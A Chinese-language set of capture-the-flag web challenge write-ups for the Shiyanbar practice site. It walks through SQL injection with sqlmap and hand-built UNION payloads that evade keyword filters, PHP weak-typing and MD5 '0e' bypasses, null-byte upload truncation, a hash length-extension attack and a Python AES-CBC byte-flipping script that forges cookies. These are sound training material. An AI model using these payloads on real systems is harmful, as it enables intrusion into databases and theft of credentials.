实验吧web—writeup

实验吧web—writeup

[toc]

Forms

http://ctf5.shiyanbar.com/10/main.php

貌似有点难

查看修改或添加HTTP请求头响应头
改X-Forwarded-For: 1.1.1.1
http://ctf5.shiyanbar.com/phpaudit/

burp抓包改改X-Forwarded-For: 1.1.1.1

看起来有点难

http://ctf5.shiyanbar.com/basic/inject

注库名
sqlmap -u “http://ctf5.shiyanbar.com/basic/inject/index.php?admin=123&pass=123&action=login“ –dbs

回显

available databases [2]:
[] information_schema
[
] test
注表名

sqlmap -u “http://ctf5.shiyanbar.com/basic/inject/index.php?admin=123&pass=123&action=login“ -D “test” –tables –level 5
回显

Database: test
[1 table]
+——-+
| admin |
+——-+
注字段名

sqlmap -u “http://ctf5.shiyanbar.com/basic/inject/index.php?admin=123&pass=123&action=login“ -D “test” -T “admin” –columns –level 5
回显

Database: test
Table: admin
[2 columns]
+———-+————–+
| Column | Type |
+———-+————–+
| password | varchar(100) |
| username | varchar(100) |
+———-+————–+
直接注密码内容

sqlmap -u “http://ctf5.shiyanbar.com/basic/inject/index.php?admin=123&pass=123&action=login“ -D “test” -T “admin” -C “password” –dump –level 5
回显

Database: test
Table: admin
[1 entry]
+———-+
| password |
+———-+
| idnuenna |
+———-+
直接登录即可获得flag,

账号 admin 密码 idnuenna
获得key

恭喜你密码正确! KEY :!@#WwwN5f0cu5coM

猫抓老鼠

Content-Row:响应头内容

头有点大

http://ctf5.shiyanbar.com/sHeader/
进入之后给了提示,需要满足三个条件

  1. 安装 .NET 9.9
  2. 使用IE浏览器访问
  3. 要在英国
    根据提示和题目名称呢,可以判断要修改http头

于是乎构造

User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/5.0) .NET CLR 9.9
Accept-Language: en-gb;

这个看起来有点简单!

Sqlmap -u “http://ctf5.shiyanbar.com/8/index.php?id=1“ -D my_db –tables

sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1“ -D my_db -T thiskey –columns

sqlmap -u “http://ctf5.shiyanbar.com/8/index.php?id=1“ -D my_db -T thiskey -C k0y –dump

爆字段得到key:whatiMyD91dump

方法二:
输入id=1 and 1=1 显示正常
输入id=1 and 1=2 回显错误
判断存在SQL注入漏洞(恩)
然后判断字段数
id=1 order by 1 可以,id=1 order by 2 可以,id=1 order by 3 不行!
所以字段数位2
id=1 union select 1 错误,id=1 union select 1,2 可以
所以字段数位2
然后开始爆数据库
id=1 union select 1,schema_name from information_schema.schemata

我们看到爆出了三个库:information_schema、my_db、test

接下来就是爆my_db的表名(就这个库名比较特别,就它了)
id=1 union select 1,table_name from information_schema.tables where table_schema=’my_db’

在my_db库里面爆出了两个表:news、thiskey
对了,thiskey在这里,然后就尝试爆列名

id=1 union select 1,column_name from information_schema.columns where table_schema=’my_db’

应该就是k0y了,试试看

id=1 union select 1,k0y from thiskey

PHP大法

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

要将hackerDJ进行两次url编码才可满足两个条件

hackerDJ

%68%61%63%6B%65%72%44%4A

%2568%2561%2563%256B%2565%2572%2544%254A
提交即可获得flag

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%2568%2561%2563%256B%2565%2572%2544%254A
回显

flag: DUTCTF{PHP_is_the_best_program_language}

what a fuck!这是什么鬼东西?

直接复制到浏览器的console运行即可

程序逻辑问题

//$_POST[user]意思是读取用户在提交表单时输入的user值,$_POST[PASS]同理
//如果二者的值都不为空
if($_POST[user] && $_POST[pass]) {
    //连接数据库
    $conn = mysql_connect("********", "*****", "********");
    //选择数据库,如果出错,打印错误信息并终止代码运行
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
//将用户输入的user值存储到user变量
$user = $_POST[user];
//将用户输入的pass值,使用md5 hash后,存入pass变量
$pass = md5($_POST[pass]);

//从表php中查找pw的值
//后半句的意思是:只保留user值为$user那一行的查找结果 
$sql = "select pw from php where user='$user'";

//查询语句的运行结果存入变量query之中
$query = mysql_query($sql);

//如果找不到,报错并终止
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}

//提取出query的值并以MYSQL_ASSOC格式存放在row之中
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

//如果row[pw]的值存在,且pass的值与row[pw]相同,则返回key
//strcasecmp是比较两个值大小,返回:-1,0,1
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
//否则返回登录失败
else {
    echo("<p>Log in failure!</p>");
  }
}

这里pass的值是 用户提交的密码经过MD5hash之后的值 如果二者相同则拿到 key

找输入输出

user一项的输出在php代码中如下: $sql = “select pw from php where user=’$user’”; 看起来并未对输入进行过滤,我们试着打入引号,果然报错,证明注入点可用!

分析

此时用工具打表的话,意义不大,因为此题目标已经明晰,我们只要让row[pw]的值与pass经过md5之后的值相等即可。 而$pass经过md5之后的值是我们可以通过正常输入控制的。 同时,row[pw]的值是从$sql提取出来的 因此,目标就一句话:只要我们能够修改$sql的值,此题解决。 再次审视注入点:$sql = “select pw from php where user=’$user’”; 在这里我们可以利用sql语句,直接给$sql返回一个值。 也就是说,不需要访问题里的数据库,只要我们修改了$sql的值,此题解决.

构造

最终user的框里输入的内容为: ‘AND 0=1 UNION SELECT “c4ca4238a0b923820dcc509a6f75849b” #

最前面的单引号:闭合原文的where user=’
AND 0=1:为了使前面的表达式返回值为空 从而使select pw from php where user=’’ AND 0=1这句话完全没用
接着我们使用UNION SELECT “c4ca4238a0b923820dcc509a6f75849b”,直接把MD5值作为返回值retuen给$sql
c4ca4238a0b923820dcc509a6f75849b这串MD5值是数字1经过MD5 hash之后的结果
最后的#用来注释掉后面没用的东西
最终,将’AND 0=1 UNION SELECT “c4ca4238a0b923820dcc509a6f75849b” #输入到user框里,将数字1输入到pass框里,登录成功。
或者user=’and 1=0 union select md5(1) #&pass=1
key:SimCTF{youhaocongming}

NSCTF web200

方法一:

<?php  
    $_code = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";  
    $_code = str_rot13($_code);  
    $_code = strrev($_code);  
    $_code = base64_decode($_code);  
    //echo $_code;  
    $_ans = "";  
    for($x = 0; $x < strlen($_code); $x++) {  
        $t = substr($_code, $x, 1);  
        $t1 = ord($t) - 1;  
        $t = chr($t1);  
        $_ans = $_ans . $t;  
    }  
    $_ans = strrev($_ans);  
    echo $_ans;  
?>

方法二:

<?php

$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';

$_out='';

$_in= base64_decode (strrev(str_rot13 ($str)));

        for($_start=0;$_start<strlen($_in);$_start++){

                $_c=substr($_in,$_start,1);

                $__=ord($_c)-1;

                $_c=chr($__);

                $_out=$_out.$_c;

        }

    echo strrev($_out);

?>

上传绕过


burp抓包,修改为 uploads/1.php .jpg
转到hex编码,将空格20,改为00
00截断

FALSE

PHP代码审计
hint:sha1函数你有认真了解过吗?听说也有人用md5碰撞o(╯□╰)o
解题链接: http://ctf5.shiyanbar.com/web/false.php

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
    echo '<p>Login first!</p>';
?>

get获得参数name和passowrd,要获得flag,就要让两个参数不相等,但是两个参数的sha1()相等。
此处考察了一个知识点,MD5,sha1等hash函数在对数组进行加密的时候会返回FALSE,
这里可以运用数组绕过,sha1的参数必须为字符串,如果为其他的类型,则会直接返回FLASE,让两个参数都为数组的形式,就可以FALSE===FALSE,输出flag。当我们传入name[]=1&password[]=2时,会造成sha1(Array) === sha1(Array),即NULL===NULL,从而吐出flag

?name[]=1&password[]=2
Flag: CTF{t3st_th3_Sha1}

Guess Next

写个算法没准就算出来了,23333
hint:你确定你有认真看判断条件?

解题链接: http://ctf5.shiyanbar.com/web/Session.php


burpsuite抓包,将phpsessid置空,并get参数password为空就行。。

CTF{Cl3ar_th3_S3ss1on}

Once More

啊拉?又是php审计。已经想吐了。
hint:ereg()函数有漏洞哩;从小老师就说要用科学的方法来算数。
解题链接: http://ctf5.shiyanbar.com/web/more.php

<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
?>

1.ereg漏洞:首先第一层检查需要绕过ereg漏洞,百度可以知道存在截断的问题,ereg读到%00的时候,就截止了

2.strlen()限制了长度小于8并且大小必须大于9999999,1e8=100000000 > 9999999

3.strpos()对password进行匹配,必须含有-,最终才输出flag

于是构造?password=1e9%00-

Flag: CTF{Ch3ck_anD_Ch3ck}

http://blog.csdn.net/qq_31481187/article/details/60968595

忘记密码了

找回密码
格式:SimCTF{ }
解题链接: http://ctf5.shiyanbar.com/10/upload/

进入网站step1.php,查看源代码,发现一句

vim编辑,可能存在.xxxx.php.swp的备份文件。尝试了.step1.php.swp、.step2.php.swp,都是404,查看step2.php的源码,发现有一个Submit.php,直接访问,提示you are not an admin,访问.submit.php.swp,果然存在,源码如下

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "you are not an admin";
    }
}

邮箱为admin的邮箱,要求token长度为10,且token需要等于零。

邮箱在step1.php中有提到

token验证可以用php中的0exxxxxxxx绕过。

payload:?emailAddress=admin@simplexue.com&token=0e11111111

flag:SimCTF{huachuan_TdsWX}

天网管理系统


让username的MD5和0相等,可以让MD5以0e开头。
PHP处理0e开头md5哈希字符串缺陷/bug

username输入QNKCDZO,得到/user.php?fame=hjkleffifer,访问页面看到一段php源码。

$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str); 
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') 
{  
  print_r($flag); 
}

这段php将post的password值进行了反序列化,得到了一个数组,将数组的user和pass的值和???进行了比较。比较用到了php的弱类型,bool类型的true跟任意字符串可以弱类型相等
因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度)
payload:post:a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}

flag:ctf{dwduwkhduw5465}

Forms

查看网页源代码。

<input type="hidden" name="showsource" value=0>

将type中的hidden去掉,并赋值value=1,提交,就能看到源代码了。

$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found."; 
}

让a等于对应的数字,就能得到flag。

flag:ctf{forms_are_easy}

拐弯抹角

题目的意思就是通过改变地址栏访问index.php,但是限制了条件不能使用 ./ ../ \ 而且只能使用小写字母,不可以在php后加点,这里我们可以利用伪静态技术,使用http://ctf5.shiyanbar.com/indirection/index.php/index.php
index.php后的index.php会被当做参数处理,所以服务器只会解析第一个index.php,满足条件成功绕过。

URL重写,其实就是把带一大堆参数的url,变成一个看上去很规矩的url,主要目的是为了搜索引擎。

让我进去

先用burpsuite抓包,发现setcookie中有source=0,在cookie中赋值,将其改为1,得到源代码。

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

samlpe-hash是15位的secret+adminadmin的md5值,要获得flag,要让cookie中的getmein值等于secret+username+password的md5值,password又不能等于admin,所以要利用哈希扩展攻击,这里直接用的hashpump工具。

hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 20 -a admin

输出结果

e18dfd8404515016d3aeeea2aa196909
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin

将\x换成%并填入对应位置。
hash2

flag:CTF{cOOkieS_4nd_hAshIng_G0_w3LL_t0g3ther}

打开网页,查看源代码,获得提示,让我们post参数key。

抓包发现header头中有经过base64编码的flag参数,

将参数解码P0ST_THIS_T0_CH4NGE_FL4G:9x3PyMMd9,将参数9x3PyMMd9post却没有结果,题目中说尽快的提交,猜测与时间有关,用python脚本解

import requests,re
from base64 import b64decode
s = requests.Session()
url = 'http://ctf5.shiyanbar.com/web/10/10.php'
r = s.get(url)
head = r.headers
flag = b64decode(head['flag']).split(':')[1]
r1 = s.post(url, data={'key':flag})
print r1.text

简单的sql注入

1.判断
http://ctf5.shiyanbar.com/423/web/
?id=1’

2.判断过滤
http://ctf5.shiyanbar.com/423/web/
?id=1 and 1=1

过滤空格方法

  1. 注释//绕过空格 select user() from d 变成`select//user()//from//`
  2. 括号绕过空格 select user() from dual where 1=1 and 2=2 变成 select(user())from dual where(1=1)and(2=2)
  3. 使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a
对页面输入下面的测试项测试过滤规则

测试项    输入    是否过滤
逗号    ,'    否
注释符#    #'    是
注释符 --    --'    是
注释符/**/    /**/'    否
updatexml函数    updatexml '    否
select    select'    否
select    select '    是
select    select/**/'    否
select    /*!select*/    否
or    or'    否
and    and'    否
concat    concat '    否
group_concat    group_concat'    是
group_concat    /*groupt_concat*/'    是
group_concat    groupgroup_concat_concat'    否

3.判断有那些数据库:

http://ctf5.shiyanbar.com/423/web/
?id=1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

  1. 查看有哪些数据表:
    http://ctf5.shiyanbar.com/423/web/
    ?id=1’//union//select//table_name//from//information_schema.tables//where//‘1’=’1

    发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)
    故:
    http://ctf5.shiyanbar.com/423/web/
    ?id=1’/
    /union//select//flag//from//web1.flag//where//‘1’=’1

    方法二:
    双空格双查询
    http://ctf5.shiyanbar.com/423/web/
    ?id=1’ unionunion selectselect flag fromfrom flag wherewhere ‘1’=’1

###简单的sql注入之2
用?id=1 and 1=1测试,返回SQLi detected!,这是过滤了and?又尝试了很多关键字,都返回SQLi detected!,那可能是过滤了空格。
绕过空格

payload

http://ctf5.shiyanbar.com/web/index_2.php/?id=1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

简单的sql注入之3

注库名

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

当前数据库
Sqlmap -u “http://ctf5.shiyanbar.com/web/index_3.php/?id=1“ –current-db

注表名
sqlmap -u “http://ctf5.shiyanbar.com/web/index_3.php?id=1“ -D “web1” –tables

注字段
sqlmap -u “http://ctf5.shiyanbar.com/web/index_3.php?id=1“ -D “web1” -T “flag” –columns

注内容
sqlmap -u “http://ctf5.shiyanbar.com/web/index_3.php?id=123“ -D “web1” -T “flag” -C “flag” –dump

flag{Y0u_@r3_5O_dAmn_90Od}

因缺思汀的绕过

http://ctf5.shiyanbar.com/web/pcat/source.txt

<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
  echo '<form action="" method="post">'."<br/>";
  echo '<input name="uname" type="text"/>'."<br/>";
  echo '<input name="pwd" type="text"/>'."<br/>";
  echo '<input type="submit" />'."<br/>";
  echo '</form>'."<br/>";
  echo '<!--source: source.txt-->'."<br/>";
    die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可载舟,亦可赛艇!";
        exit();
    }
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
  die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
  print "一颗赛艇!";
}
mysql_close($con);
?>

注意过滤了这些关键字

$filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)“;

要输出flag就要满足mysql_num_rows($query) == 1、$key['pwd'] == $_POST['pwd']这两个条件。

mysql_num_rows()函数返回结果集中行的数目。我们构造uname让sql语句查询出来的结果是一行就能绕过。Uname = ‘or 1 limit 1#,这样sql语句就是SELECT * FROM interest WHERE uname = ‘’or 1 limit 1#,这样就查询1行,也就能绕过第一个条件。
从源码分析可得,过滤了逗号,我们不能简单的使用limit 1,1这样的语法,而是可以使用limit 1 offset 1。

第二个条件是让查询的pwd的值等于输入的值,此处用的是 ==,根据弱类型,NULL和空字符串是相等的,然后就是绕过pwd了,
这里的思路是,利用group by pwd with rollup在查询中的一个特点,他可以返回pwd所在的那一条记录,通过limit控制返回哪一条,因此他不可以返回多条,一旦返回2条及以上,pwd就会为空,但同一条记录中的其他字段则是正常的

那么利用这一点令查询结果为空,我们输入的pwd也为空值,则构成了if(null==null)为true
即:输入的用户名为:’ or 1=1 group by pwd with rollup limit 1 offset 2 #
这里解释一下此时执行的SQL:
SELECT * FROM interest where uname=’ ‘ or 1=1
group by pwd with rollup (在数据库中添加一行使得pwd=NULL)
limit 1 (只查询一行)
offset 2 (从第二行开始查询)#注释
此时密码只要为空即可查询成功

payload:uname=’or 1 group by pwd with rollup limit 1 OFFSET 2#

flag:CTF{with_rollup_interesting}

who are you?

自己没做出来
别人的wp三种方法:
https://www.jianshu.com/p/5d34b3722128

登录一下好吗??

题目地址: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

在用户名表单里提交一系列字段可以发现题目过滤了几乎所有查询语句,注释,但是没有过滤’,这里的绕过比较巧妙,由于=是从左到到运算的,所以可以人为构造0=0的结果,payload为username=1’=’&password=1’=’,拼接后的语句为:

select * from user where username='1'='' and password='1'=''

username=’1’=’’这句,先有username=’1’返回0,然后再和’’比较,mysql中的弱类型比较0和空字符串是相等的,所以能返回1,后面半句同理,所以整句能够返回1,flag为ctf{51d1bf8fb65a8c2406513ee8f52283e7}。

*你真的会PHP吗?

首先fiddler抓包,在response header中发现hint:6c525af4059b4fe7d8c33a.txt,打开后找到index.php源码

<?php


$info = ""; 
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false); 
error_reporting(0); 


if(!isset($_POST['number'])){
   header("hint:6c525af4059b4fe7d8c33a.txt");

   die("have a fun!!"); 
}

foreach([$_POST] as $global_var) { 
    foreach($global_var as $key => $value) { 
        $value = trim($value); 
        is_string($value) && $req[$key] = addslashes($value); 
    } 
} 


function is_palindrome_number($number) { 
    $number = strval($number); 
    $i = 0; 
    $j = strlen($number) - 1; 
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 


if(is_numeric($_REQUEST['number'])){

   $info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){

     $info = "number must be equal to it's integer!! ";  

}else{

     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  

     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }else{

          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }else{
             $info=$flag;
          }
     }

}

echo $info;

经过审计我们可以发现如果我们要拿到flag,POST的number需要满足以下条件:
1.不为空,且不能是一个数值型数字,包括小数。(由is_numeric函数判断)
2.不能是一个回文数。(is_palindrome_number判断)
3.该数的反转的整数值应该和它本身的整数值相等。即:

intval($req[“number”])=intval(strrev($req[“number”]))
1
回文数就是类似于121这样的数。从上面可以看出2,3条件似乎是冲突滴!

下面给出两种解法:

1.利用intval函数溢出绕过
Intval函数获取变量整数值。
函数介绍清点这里
Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

通过上面我们知道服务器的操作系统是32位的,所以我们构造2147483647就可以同时满足2,3条件。通过把空字符可以绕过is_numeric的判断(如%00,%20),所以我们构造以下poc,number=2147483647%00 和number=2147483647%20都可。

对于第一个条件,我们需要构造是让我们的poc被函数判断为非数值,但又不影响它值的构造,理所当然想到空格字符和空字符。

而经过测试我发现is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!!

后台登录

首先代码审查

在查看页面源码中发现 代码泄露

<!-- $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
        if(mysqli_num_rows($result)>0){
            echo 'flag is :'.$flag;
        }
        else{
            echo '密码错误!';
        } -->

后台对传入的 password进行MD5加密后进行数据库

想着怎么去构造一个MD5加密后的结果 在百度上搜了下
找到一个字符串 ffifdyop md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:'or'6<trash>
那整个sql变成

SELECT * FROM admin WHERE
username = 'admin' and password = ''or'6<trash>'

简单的登录题

这题名字叫简单的登录题,实际上一点都不算简单,要认真写一个writeup确实很费劲,但pcat还是写了一篇过得去的。

1.做题的初步收集、整理
index.php是一个普通的登录框,输入id来登录,我们用burpsuite抓下包,并使用Repeater功能。
1) 当post id时候,返回包Set-cookie里包含iv和cipher,这2个英文单词玩密码学就很容易理解,iv就是Initialization Vector(初始化向量),cipher就是密文


注意这里有个提示:test.php
登录得到

查看源码得到

源码过滤|-|#|=|~|union|like|procedure这些语句

2) 使用Repeater功能不断的发送相同的包,返回的iv和cipher都不一样,基本断定每次的iv值是随机生成,另外iv和cipher的格式都是先base64编码后再进行urlencode编码。这里逻辑几句,不少人总看到base64解码后的字符是乱码后,就问该怎么解密之类的话,其实不要搞混了,base64不是一种加密方式,只是一种编码方式,base64编码后可以让不可视字符可视化(这才是最大的作用),而不起任何加密作用。
3) 把iv值经过urldecode再base64解码后用len()得到长度为16,基本猜测算法是aes,而且大胆猜测是aes的cbc模式
4) 从id=1入手,发现有#和-都会被waf检测到
5) 当cookies里有iv值和cipher值,然后不提交任何参数(包括id),就会显示Hello,猜测是根据传入的iv和cipher来解码后,再参与内部的sql查询出用户名
6) 由于aes的key值不知道,我就觉得这题比较难做了,然后先按照web题的基本思路———扫描,打开御剑扫一下,幸运的发现test.php泄露了源码。整理下源码中的逻辑:
1 若是post id,就先进行waf检测,检测过了才随机生成iv值,并且对array(‘id’=>$id)进行php的序列化操作,再进行aes加密,再分别对iv和cipher进行base64编码并设置到cookies 2 如果cookies里有iv和cipher,就对其base64解码,然后对其aes解密,再进行php反序列化,如果不能反序列化则返回解密后的明文的base64编码,如果可以则进行sql语句拼接,查询若是行数>0就显示其username列的值,否则都是Hello!
3 难点1,过滤了#-=,还有union和procedure 4 难点2,注入点在limit后面,而且后面还是”,0”,0本来就是让limit取出0行,而前面的逗号更是难弄掉
*5 aes的加密模式aes-128-cbc
7) mysql语法,limit后面只能procedure还有for update,还有尝试了堆叠注入,也是不行。
8) 本题算比较好点,mysql会显示错误信息,这就可以弄报错注入(当前是得有前提的)

2.构建能绕过过滤的payload
尝试了很多,发现post id=1;%00(这里关键是;%00)可以绕过去,然后登录后会显示Hello!rootzz,说明user表里的值是rootzz,而并不是我们所期待的flag值(如果那么简单就好了- -)
关键的关键字都被过滤,这可怎么办?
这时候要冷静分析下。
1) 直接post id时候是有过滤
2) 在cookies解密出来是没有过滤,就直接拼接sql语句
于是我们可以大胆猜测,修改cookies的值来达到解密后的明文可以构造sql注入。

这并不是无的放矢,在密码学里是可以做到的

3.aes的cbc byte flipping attack(cbc字节翻转攻击)
先放出参考文章,自己可以多去阅读
推荐英文文章:
http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/
以下是中文译文(其中图片挂了,结合英文版就没问题):

http://wps2015.org/drops/drops/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB-101Approach.html
=======

cbc字节翻转攻击,我就不叙述原理,我直接演示一个简单的操作:
把id=12的密文修改后解析为id=1#

这里因为序列化是php的,我先写了一个php文件,便于显示

<?php
$id=@$_POST['id'];
$info = array('id'=>$id);
$plain = serialize($info);
$row=ceil(strlen($plain)/16);
for($i=0;$i<$row;$i++){
    echo substr($plain,$i*16,16).'<br/>';
}

当post id=12时候,显示
a:1:{s:2:”id”;s:
2:”12”;}
每一行16个字节,这里12的2对应上一行{的偏离量是4
有这个准备后,
在原题里post id=12,得到下面(这只是示例)
iv=ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D
cipher=U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D

运行以下脚本

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
cipher='U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new

得到cipher_new
U9qq55BOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D
再用之前的iv一起去访问,得到
base64_decode(‘g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9’) can’t unserialize
这是因为iv值没修改,导致无法反序列化

运行以下脚本

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
    iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

得到iv_new
hHlJ4xkEBvpldXUI0wqnNA%3D%3D
再跟之前的cipher_new,一起去访问,得到
Hello!rootzz
也就是id=12顺利变成了id=1#注入成功。

离成功就差一步了,
1) 把上面的过程编写成脚本
2) 尽可能只翻转一个字节,例如把2nion翻转为union,末尾再用;%00来注释掉后面
3) 由于逗号被过滤,用join来代替;等号被过滤,用regexp来代替

以下是pcat的脚本:

# -*- coding:utf8 -*-
# 请保留我的个人信息,谢谢~!
__author__='pcat@chamd5.org'

from base64 import *
import urllib
import requests
import re

def mydecode(value):
    return b64decode(urllib.unquote(value))

def myencode(value):
    return urllib.quote(b64encode(value))

def mycbc(value,idx,c1,c2):
    lst=list(value)
    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
    return ''.join(lst)

def pcat(payload,idx,c1,c2):
    url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    myd={'id':payload}
    res=requests.post(url,data=myd)
    cookies=res.headers['Set-Cookie']

    iv=re.findall(r'iv=(.*?),',cookies)[0]
    cipher=re.findall(r'cipher=(.*)',cookies)[0]

    iv_raw=mydecode(iv)
    cipher_raw=mydecode(cipher)

    cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
    cookies_new={'iv':iv,'cipher':cipher_new}
    cont=requests.get(url,cookies=cookies_new).content
    plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])

    first='a:1:{s:2:"id";s:'
    iv_new=''
    for i in range(16):
        iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
    iv_new=myencode(iv_new)

    cookies_new={'iv':iv_new,'cipher':cipher_new}
    cont=requests.get(url,cookies=cookies_new).content
    print 'Payload:%s\n>> ' %(payload)
    print cont
    pass


def foo():
    pcat('12',4,'2','#')
    pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
